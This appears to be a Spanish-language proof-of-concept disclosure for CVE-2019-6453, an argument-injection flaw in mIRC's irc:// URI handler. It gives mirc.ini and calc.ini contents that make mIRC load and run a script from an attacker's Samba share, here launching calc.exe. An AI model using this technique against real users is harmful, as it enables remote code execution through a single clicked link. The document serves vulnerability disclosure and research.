
Prueba de calc para CVE-2019-6453
Encontramos una vulnerabilidad de ejecución remota de código en mIRC a través del manejador de protocolo URI irc://. Debido a que mIRC no usa ningún tipo de sigilo como -- para marcar el final de la lista de argumentos, un atacante puede pasar argumentos a mIRC a través de un enlace irc:// y ejecutar código arbitrario cargando un mirc.ini personalizado desde un servidor de archivos Samba controlado por el atacante. Tenga en cuenta que ircs:// funciona de la misma manera.
La prueba de la calculadora requiere tres archivos: mirc.ini, calc.ini y poc.html. Suponemos que un servidor de archivos Samba se está ejecutando en el lado del atacante. Para el propósito del ejemplo, las siguientes piezas de código asumen que se está ejecutando en el host 127.0.0.1 (es decir, reemplace 127.0.0.1 por la dirección de su propio servidor en los siguientes archivos para probar esto).
mirc.ini es un archivo de configuración personalizado que debe estar ubicado en C:\mirc-poc\mirc.ini en el servidor de archivos.
[rfiles]
n2=\\127.0.0.1\C$\mirc-poc\calc.ini
calc.ini es un archivo de script remoto que debe estar ubicado en C:\mirc-poc\calc.ini en el servidor de archivos.
[script]
n0=on *:START: {
n1= /run calc.exe
n2=}
Simplemente visitar poc.html debería funcionar asumiendo que mIRC está configurado como el manejador predeterminado para el esquema de URI irc:// y que el navegador no codifica el payload. Dependiendo del navegador y de su configuración, es posible que aún reciba un aviso (no es el caso en Firefox).

Este PoC funciona para mIRC <7.55.
Puede ejecutar el PoC en Edge 42.17134 (última versión preliminar) y Firefox 64.0.2 (última versión estable). No funciona en Chrome porque la forma en que Chrome maneja los protocolos URI (la URI se codifica antes de pasarse a la aplicación).